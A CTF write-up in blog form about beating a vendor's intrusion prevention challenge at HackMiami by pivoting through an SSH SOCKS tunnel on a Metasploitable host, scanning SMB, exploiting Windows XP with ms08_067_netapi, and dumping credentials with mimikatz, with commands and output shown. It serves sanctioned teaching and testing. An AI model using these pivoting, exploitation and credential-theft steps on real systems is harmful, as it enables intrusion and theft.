Last weekend, I was enjoying the HackMiami conference in beautiful Miami Beach, FL. On Sunday, they hosted several hacking challenges in their CTF room. One of the sponsoring vendors, a maker of network security appliances setup a challenge too. The vendor placed an unpatched Windows XP device behind one of their unified threat management devices. The rules were simply: they would allow all traffic inbound and outbound, through a NAT, with their intrusion prevention technology turned on. They were looking for a challenger who could exploit the Windows XP system and get positive command and control without their system detecting it.

I first heard about this challenge from an attendee who subjected me to some friendly goading. “You wrote a custom payload, your tools should walk right through it”. Not really. Knowing the scenario, my interest in participating was pretty low. I can launch a known implementation of ms08_067_netapi through an Intrusion Prevention Device, but to what end? I fully expected the device to pick it up and squash my connection. The Metasploit Framework has a few evasion options (type show evasion, the next time you configure a module), but I expected limited success with them.

The representatives from the vendor were pretty cool, so I opted to sit down and see what they had. The vendor rep told me the same network also had a Metasploitable Virtual Machine. This immediately made life better. My first act was to try to behave like a legitimate user and see if it works. If legitimate traffic can’t go through, then there’s little point trying a hacking tool.

I ran ssh and I was able to login with one of the known weak accounts against the Metasploitable Virtual Machine. Funny enough, this was a painful act. One person thought they could get past the device by attempting a Denial of Service, hoping to make it fail open by default. Another person wanted to further everyone’s learning and decided to ARP poison the network. Narrowing down these hostile factors took some time away from the fun.

A static ARP entry later and I was ready to try the challenge again. I’ve written about tunneling attacks through SSH before, but the technique is so useful, I can’t emphasize it enough.

First, I connected to the Metasploitable Linux system using the ssh command. The -D flag followed by a port number allows me to specify which port to set up a local SOCKS proxy server on. Any traffic sent through this local SOCKS proxy will tunnel through the SSH connection and come out through the SSH host.

ssh -D 1080 [email protected]

Next, I had to instruct the Metasploit Framework to send its traffic through this SOCKS proxy server. Again, easy enough. I opened a Metasploit Framework console tab and typed:

setg Proxies socks4:127.0.0.1:1080

The setg command globally sets an option in the Metasploit Framework. This is useful for Armitage and Cobalt Strike users. With setg, I can set this option once, and modules I launch will use it.

Finally, I had to find my target. The vendor had setup a private network with the target systems. I typed ifconfig on the Metasploitable system to learn about its configuration. I then ran auxiliary/scanner/smb/smb_version against the private network Metasploitable was on.

msf > use auxiliary/scanner/smb/smb_version
msf auxiliary(smb_version) > set THREADS 24
THREADS => 24
msf auxiliary(smb_version) > set SMBDomain WORKGROUP
SMBDomain => WORKGROUP
msf auxiliary(smb_version) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(smb_version) > run -j
[*] Auxiliary module running as background job
[*] Scanned 049 of 256 hosts (019% complete)
[*] Scanned 062 of 256 hosts (024% complete)
[*] Scanned 097 of 256 hosts (037% complete)
[*] 192.168.1.111:445 is running Windows 7 Professional 7601 Service Pack (Build 1) (language: Unknown) (name:FGT-XXXX) (domain:WORKGROUP)
[*] 192.168.1.113:445 is running Unix Samba 3.0.20-Debian (language: Unknown) (domain:WORKGROUP)
[*] 192.168.1.112:445 is running Windows XP Service Pack 3 (language: English) (name:XXXX-44229FB) (domain:WORKGROUP)
[*] Scanned 119 of 256 hosts (046% complete)
[*] Scanned 143 of 256 hosts (055% complete)
[*] Scanned 164 of 256 hosts (064% complete)
[*] Scanned 191 of 256 hosts (074% complete)
[*] Scanned 215 of 256 hosts (083% complete)
[*] Scanned 239 of 256 hosts (093% complete)
[*] Scanned 256 of 256 hosts (100% complete)

Once I discovered the IP address of the Windows XP system, I was able to launch exploit/windows/smb/ms08_067_netapi through my SSH proxy pivot. This, in effect, resulted in the exploit coming from the Metasploitable system on the same private network as the Windows XP target. I used a bind payload to make sure Meterpreter traffic would go through the SSH proxy pivot as well.

At this point, I had access to the Windows XP system and I was able to take a picture of the vendor with his webcam and use mimikatz to recover the local password. Still undetected.

meterpreter > use mimikatz
Loading extension mimikatz...success.
meterpreter > wdigest
[+] Running as SYSTEM
[*] Retrieving wdigest credentials
[*] wdigest credentials
===================

AuthID   Package    Domain           User              Password
------   -------    ------           ----              --------
0;999    NTLM       WORKGROUP        XXXX-44229FB$
0;997    Negotiate  NT AUTHORITY     LOCAL SERVICE
0;54600  NTLM
0;996    Negotiate  NT AUTHORITY     NETWORK SERVICE
0;62911  NTLM       XXXX-44229FB     Administrator     password123!

There’s a lesson here. Don’t attack defenses, go around them.